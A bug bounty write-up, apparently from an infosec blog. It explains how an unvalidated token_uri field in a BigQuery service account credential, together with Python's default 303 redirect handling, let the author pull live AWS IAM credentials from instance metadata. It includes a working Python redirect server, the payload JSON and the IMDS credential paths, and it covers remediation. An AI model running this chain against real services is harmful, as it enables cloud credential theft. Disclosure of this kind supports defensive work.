The HTTP 303 SSRF Hack : From Python HTTP Client Defaults to AWS Credential Exfiltration.
A POST to IMDS may fail — but a redirect can quietly turn it into something else.This writeup docume 2026-7-7 11:35:22 Author: infosecwriteups.com(查看原文) 阅读量:8 收藏

Alvin Ferdiansyah

A POST to IMDS may fail — but a redirect can quietly turn it into something else.

This writeup documents the chain from a URL typed field inside a service account credential JSON to live AWS IAM credentials on a Kubernetes worker node. The chain depends on four components composing into a single vulnerability. A URL accepting field with no allowlist, an HTTP client with default redirect handling, an unauthenticated metadata service, and an error path that reflected response content. Any one of them, configured differently, breaks the exploit.

Four components compose into a single vulnerability. None of them is a bug alone. The composition is.

The Field

The platform had a feature for connecting customer-owned data warehouses. Snowflake, Redshift, Databricks, BigQuery, all four supported. The customer hands over connection parameters, the platform pulls user data out of the warehouse on a schedule. A perfectly reasonable B2B integration, the kind that exists in every modern SaaS product.

It is also, by design, outbound HTTP from the platform to a destination the customer controls. That sentence is the entire reason I looked at this feature first.

Three of the four warehouses authenticate the way you’d expect: username and password, JDBC string, host plus access token. BigQuery is the odd one out. BigQuery authenticates with a Google service account JSON, a multi-field credential blob whose contents drive an OAuth 2.0 flow. One of those fields is called token_uri.

In plain language, token_uri is the URL the auth library will POST to when it wants an OAuth token. I opened the BigQuery setup page and watched the test connection request fly across DevTools. There it was, nested inside a JSON string inside a JSON object:

"security_config": {
"service_account_creds": "{\"type\":\"service_account\",\"private_key\":\"...\",\"token_uri\":\"https://oauth2.googleapis.com/token\",\"client_email\":\"...\"}"
}

A user-controlled URL field, embedded two levels deep, going straight to the backend. The dashboard wasn’t validating it. The frontend wasn’t even parsing the inner JSON. Whatever the customer typed into the credentials blob, the server received verbatim.

The endpoint did exactly what its name promised: test a connection. The field did exactly what its name promised: hold a token URI. The chain was already in the schema.

The First Echo

The polite thing was to test the assumption before building anything on top of it. I set up an OOB host through Interactsh and put its URL into token_uri

"token_uri": "https://[oob-host].oast.pro/REDACTED-probe-1"

Then I sent the test connection request with a minimal but valid BigQuery service account blob. A self-generated PKCS8 RSA key, a plausible client email, a project and dataset that didn’t need to exist because the test would fail at the auth step before it ever tried to hit a real BigQuery project.

Within a second, the Interactsh client lit up:

[REDACTED-OOB-HOST].oast.pro received HTTP interaction from [REDACTED-AWS-IP]
POST /probe-1 HTTP/1.1
Host: [REDACTED-OOB-HOST].oast.pro
User-Agent: google-auth/2.x python-requests/2.x
Content-Type: application/x-www-form-urlencoded
...
grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=<JWT>That one interaction told me several things at once:

The primitive was real, the verb was POST, the body was OAuth-shaped. It was enough to write up as a standalone finding, and I did. An authenticated user could force the server to make outbound HTTP POSTs to arbitrary URLs. low severity, submitted.

But I wouldn’t happy with it.

No Callback

AWS EKS nodes run with an IAM role attached. Code that wants AWS API access asks the node’s IAM role for temporary credentials through the Instance Metadata Service at 169.254.169.254. Anything that touches S3, ECR, CloudWatch, KMS goes through this path.

IMDS is a link-local address, reachable only from inside the EC2 instance itself. It returns plaintext metadata and JSON-formatted credentials to anyone on the box that knows the path.

If the platform’s worker pod could reach IMDS, and if I could make an authenticated HTTP request to IMDS through the token_uri primitive, the response would contain live IAM credentials for the EKS node role. That is the highest-value outcome this kind of SSRF can possibly produce. Everything else is commentary.

I started with the obvious:

"token_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"Generic warehouse-connection error back. Nothing from IMDS reflected. Same story with role-name guesses in the URL.

The response came back fast: a generic warehouse-connection error. Nothing from IMDS. I tried again with a role name guessed from common EKS naming conventions. Same generic error.

That was strange. The primitive was working. Interactsh had already proven that. Pointing it at IMDS produced nothing.

Two possibilities, in plain terms.

  • The pod is being egress-filtered at the network layer. IMDS is unreachable. There is no door.
  • Or, the pod can reach IMDS, but the HTTP exchange is failing for some reason I don’t yet understand. The door exists, but only opens one way.

Those two diagnoses lead to completely different next moves. So before guessing, I measured..

Three Numbers

Three payloads. Thirty seconds apart. One question.

  • External server I controlled (http://[oob-host].oast.pro/) came back in ~1.5 seconds.
  • Unroutable IP (http://10.255.255.1/, RFC 5737 space, no router on earth has a path to it) came back in ~28 seconds.
  • IMDS itself (http://169.254.169.254/...) came back in ~0.34 seconds.

The pattern is unambiguous.

The external OOB host takes 1.5 seconds because that is a real internet round trip.

The unroutable address takes 28 seconds because that is the default connect timeout in the requests library. The TCP stack gives up on a destination that does not exist.

IMDS takes 0.34 seconds. That is not a timeout. That is a successful TCP connection and a completed HTTP exchange, finished fast because the response was small. IMDS is reachable from the pod. The traffic is not being filtered.

Which meant the problem had to be at the HTTP layer. I went back and re-read the IMDSv1 documentation. There it was, sitting in the AWS docs like it had been waiting for me:

IMDS responds with HTTP 405 Method Not Allowed for non-GET requests to metadata paths.

Of course it does. google-auth POSTs. IMDS answers GETs. The POST gets a 405 with no body, google-auth has no access_token to parse, the surrounding worker code catches the exception, and the server returns a generic warehouse-connection error. The SSRF was working perfectly. The protocol on my side and the protocol on IMDS’s side simply didn’t match.

I sat with it for a day. Submitted the standalone finding. Came back the next morning and tried to ask the question differently.

Not how do I make the client send GET instead of POST.

That was the question I had been failing to answer.

The better question was:

What if I could let the client keep speaking POST, and have something in the middle translate it?

The Idea: HTTP 303 See Other

The answer came from a piece of RFC trivia I had seen in other people’s SSRF writeups over the years, finally landing on the right problem.

HTTP 303 See Other is defined, per RFC 7231 §6.4.4, to convert the caller’s HTTP method to GET when following the redirect.

Read that twice.

301 preserves the method, depending on the client.

302 is ambiguous, and most clients do the wrong thing for legacy reasons.

307 and 308 explicitly preserve the original method.

303 is the only redirect code in the standard whose explicit purpose is to change POST to GET.

It was designed for exactly that. The redirect-after-submit pattern in classic web forms. Submit via POST, get back a 303, follow it as a GET, render the result page. A pattern old enough to predate the AJAX era, now sitting inside a library’s default parameter.

The question was whether Python’s requests library, which google-auth wraps, actually implements this. I went and read the source. The SessionRedirectMixin.rebuild_method function contains, paraphrased, the following:

if response.status_code == codes.see_other and method != 'HEAD':
method = 'GET'

It does. Cleanly. On a 303 response, the method is rewritten to GET. The body is stripped. A new request is constructed and sent to whatever URL is in the Location header.

I checked google-auth too. It uses requests.Session() with no redirect modifications and allow_redirects=True left at the library default. Whatever the final response is, even three redirects deep, gets parsed as an OAuth token document.

The Full Chain

Press enter or click to view image in full size

Drawn out, the chain looks like this:

1. The attacker creates a service account JSON containing an attacker-controlled token_uri and submits it through the application’s connection-testing functionality.

2. The application forwards the supplied JSON to the backend worker without validating the destination URL.

3. The backend uses the google-auth library to generate a signed JWT and sends it to the attacker-controlled token_uri.

4. The attacker-controlled server records the incoming request and responds with a 303 See Other redirect pointing to the AWS Instance Metadata Service (IMDS) at 169.254.169.254.

5. Because redirects are automatically followed, the original POST request is rewritten into a GET request and sent to the metadata service.

6. AWS IMDS returns the IAM role credentials associated with the instance.

7. The google-auth library expects an OAuth token response, but instead receives AWS credential data and raises an exception.

8. The application includes the exception details in its error response and returns them to the user.

Get Alvin Ferdiansyah’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

9. The attacker extracts the AWS AccessKeyId, SecretAccessKey, and SessionToken from the returned error message.

Building the Redirect

I needed a public server that would do three things.

  • Accept any incoming HTTP request from the platform’s egress.
  • Log it in full, so I could see what google-auth was actually sending.
  • Respond with 303 See Other and a Location header pointing at whatever IMDS path I was probing.

I wrote it in pure Python stdlib :

from http.server import BaseHTTPRequestHandler, HTTPServer
import sys, datetime

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://169.254.169.254/latest/meta-data/iam/info"

class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
print(f"[{datetime.datetime.utcnow().isoformat()}Z] {self.client_address[0]} {fmt % args}")

def do_POST(self):
length = int(self.headers.get("Content-Length", "0") or "0")
body = self.rfile.read(length) if length else b""
print(f"[POST] path={self.path} len={length}")
print(f"[POST] headers:\n{self.headers}")
if body:
print(f"[POST] body (first 500B): {body[:500]!r}")
print(f"[303] -> {TARGET}")
self.send_response(303)
self.send_header("Location", TARGET)
self.send_header("Content-Length", "0")
self.end_headers()

def do_GET(self):
self.send_response(303)
self.send_header("Location", TARGET)
self.send_header("Content-Length", "0")
self.end_headers()

if __name__ == "__main__":
print(f"[*] Redirect target: {TARGET}")
HTTPServer(("0.0.0.0", 7777), Handler).serve_forever()

Bound to 0.0.0.0:7777. Port 7777 opened on my router. The IMDS target gets passed as a command-line argument, so I can change which file the redirect points at without rebuilding anything.

Then the payload itself, a BigQuery service account JSON with token_uri pointing at my server, embedded in a test connection request:

{
"app_group_id": "[REDACTED]",
"data_warehouse_type": "bigquery",
"project": "bugbounty-project",
"dataset": "bugbounty_dataset",
"security_config": {
"service_account_name": "[email protected]",
"service_account_creds": "{\"type\":\"service_account\",\"private_key\":\"<PKCS8 RSA KEY>\",\"token_uri\":\"http://[REDACTED-MY-IP]:7777/creds\",\"client_email\":\"[email protected]\",\"universe_domain\":\"googleapis.com\"}"
}
}

The private_key is a real 2048-bit RSA key I generated locally. It is not associated with any real Google service account. google-auth uses it only to sign the outbound JWT, and the JWT is never validated by anyone, because the OAuth server it is talking to is my redirect script, which never reads the signature. The key just has to be syntactically valid PKCS8 PEM that the library can load.

The client_email and universe_domain exist for the same reason: to make the JSON parse cleanly. None of them have to correspond to anything real.

Does It Reflect?

For the first shot, I did not aim at credentials. I pointed at /latest/meta-data/iam/info, which returns the InstanceProfileArn.

Two reasons.

I did not yet know the role name. I needed it to build a valid /security-credentials/ path.

And if the exploit worked, harmless metadata was a better first payload than live credentials. Less sensitive data to deal with under the Rules of Engagement, easier to validate cleanly, easier to write up.

Started the redirect server:

python3 /tmp/redirect.py "http://169.254.169.254/latest/meta-data/iam/info"

Fired the test connection request. About 1.4 seconds later, the response came back:

{
"result": "error",
"message": "Error connecting to warehouse: Error executing SQL due to customer config: ('No access token in response.', {'Code': 'Success', 'LastUpdated': '[REDACTED-TIMESTAMP]', 'InstanceProfileArn': 'arn:aws:iam::[REDACTED]:instance-profile/[REDACTED-ROLE]', 'InstanceProfileId': '[REDACTED]'})"
}

Read that slowly.

No access token in response is google-auth’s error when the token_uri response body does not parse as a valid OAuth token document.

The Python dict that follows it, with Code, LastUpdated, InstanceProfileArn, InstanceProfileId, is the literal body of the IMDS response. google-auth parsed it as JSON, failed to find an access_token, raised an exception, and the exception’s string representation included the parsed dict. The worker code wrapped the exception in its own error and returned the wrapped message back to me intact.

Three things became true at the same time.

  • The 303 redirect chain works. POST converts to GET on the redirect, IMDS responds, the response comes home.
  • The reflection channel is open. Step 7, the gamble, paid off. Anything I can ask IMDS for, I can read.
  • And I now know the AWS account number and the EKS node role name.

Meanwhile, the redirect server’s stdout:

[REDACTED-TIMESTAMP] <worker pod IP> POST /creds HTTP/1.1
[POST] path=/creds len=710
[POST] headers:
Host: [REDACTED-MY-IP]:7777
User-Agent: google-auth/2.17.3 python-requests/2.31.0
Content-Type: application/x-www-form-urlencoded
...
[POST] body (first 500B): b'grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=eyJhbGciOiJSUzI1NiIsImtpZCI6...'
[303] -> http://169.254.169.254/latest/meta-data/iam/info

That is google-auth making its expected OAuth POST, getting back the 303, and transparently following it to IMDS, exactly as the RFC says it should.

The chain was live.

The Credentials

I restarted the redirect server pointing at the role-specific credentials path:

python3 /tmp/redirect.py \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/[REDACTED-ROLE]"

Fired the test connection request again. The response is reproduced verbatim because the entire finding lives inside this one response body:

{
"result": "error",
"message": "Error connecting to warehouse: Error executing SQL due to customer config: ('No access token in response.', {'Code': 'Success', 'LastUpdated': '[REDACTED-TIMESTAMP]', 'Type': 'AWS-HMAC', 'AccessKeyId': '[REDACTED-ACCESS-KEY]', 'SecretAccessKey': '[REDACTED-SECRET]', 'Token': '[REDACTED-SESSION-TOKEN]', 'Expiration': '[REDACTED-TIMESTAMP]'})"
}

The credentials are real. Live, time-limited, in AWS-HMAC format, meaning any AWS SDK in the world would accept them without modification. The session token is the giveaway. Static keys do not have session tokens. Only credentials minted from an instance metadata call do.

These came from the EKS node’s IAM role, minutes ago, signed by AWS’s metadata service. They would work right now, against the real AWS account, until the timestamp at the bottom.

For completeness, one more probe, the instance identity document at /latest/dynamic/instance-identity/document, which returns placement metadata:

{
"accountId": "[REDACTED]",
"architecture": "x86_64",
"availabilityZone": "us-east-1a",
"imageId": "[REDACTED]",
"instanceId": "[REDACTED]",
"instanceType": "c6i.8xlarge",
"pendingTime": "[REDACTED-TIMESTAMP]",
"privateIp": "172.16.21.236",
"region": "us-east-1",
"version": "2017–09–30"
}

That filled out the rest of the picture.

Three lines on the writeup ledger.

  • EC2 instance metadata leak. Medium on its own.
  • IAM instance profile disclosure. Medium on its own.
  • Live, time-limited AWS IAM credentials for the EKS node role. Critical.

Delivered through a single endpoint reachable by any authenticated dashboard user, the three together add up to a cross-scope pivot from “I have a regular user account” to “I am the IAM role of the dev-cluster Kubernetes worker nodes.”

Four Coincidences in a Row

The chain works because four things are simultaneously true. If any one of them were different, it falls apart.

That makes each one a potential mitigation point. And each one, in isolation, is defensible. token_uri is not validated against an allowlist on the backend. The service account JSON is treated as opaque customer-provided configuration. There is no check that the URL points to a Google-controlled domain. In the adversarial case, the same field becomes an arbitrary outbound URL primitive.

The requests library follows redirects by default. Including 303.

allow_redirects=True is the default on every HTTP method in the library. google-auth does not override it. The 303 handling inside requests is RFC-compliant: POST converts to GET. No bug in requests. No bug in google-auth. Just a composition hazard.

IMDSv1 is enabled and reachable from the worker pod.

The EC2 node has IMDSv1 enabled, and the Kubernetes network policy allows pods to reach 169.254.169.254. A single HttpTokens=required instance metadata option would have broken the chain, because the attacker cannot perform IMDSv2’s PUT-first TTL token handshake through a one-shot redirect.

The error path includes the raw exception string in the user-visible response.

This is the reflection channel.

Without it, the SSRF is still there, but the read primitive degrades to a blind one. With it, the read is fully content-disclosing. Fix any one of these and the exploit breaks. Fix all four and the platform is resilient. The chain is not a bug in any one component. It is a property of how four reasonable components compose.

Remediation and Verification

A few days after reporting, I came back to check.

I re-ran the exact same payload, fresh session, fresh account, same redirect server, same IP. The response changed:

{
"error": "... Untrusted token_uri in service account credentials: http://[attacker-ip]:7777/creds. Only standard Google OAuth2 token endpoints are allowed: frozenset({'https://oauth2.googleapis.com/token', 'https://accounts.google.com/o/oauth2/token'})"
}

HTTP 400. Blocked at input validation.

I also tested a legitimate Google token_uri to confirm the fix did not break working integrations. The request returned 201 Created.

The team chose the allowlist approach and implemented it at the field-parsing layer, which is the right place, because every code path that handles a service account JSON inherits the protection for free.

They did not pursue allow_redirects=False directly in google-auth, which is fine. The allowlist makes the redirect behavior moot. The frozenset in the error message is the Python giveaway that the validation lives in the same worker that previously called google-auth.

Right layer. Right shape. Shipped fast.

Vulnerability closed.

The single observation I want to leave for anyone reading this, defender or researcher :

Make an outbound HTTP request to this URL is the single most dangerous feature a web application can expose. Treat every field that accepts one as if it were `eval()` of a URL, because functionally, that is what it is.

Every time. Every field. Every integration. Every just pass it through to the library.

When a primitive gives you the wrong verb, do not give up on the primitive. Give up on the verb.

It was a composition hazard dressed up as a configuration option, waiting in the schema of a well-known credential format for anyone who cared to read the token_uri field and ask what it did.

The chain is patched.

The pattern isn’t.

Try 303.


文章来源: https://infosecwriteups.com/the-http-303-hack-from-python-http-client-defaults-to-aws-credential-exfiltration-a-deep-dive-bfaece6c3805?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh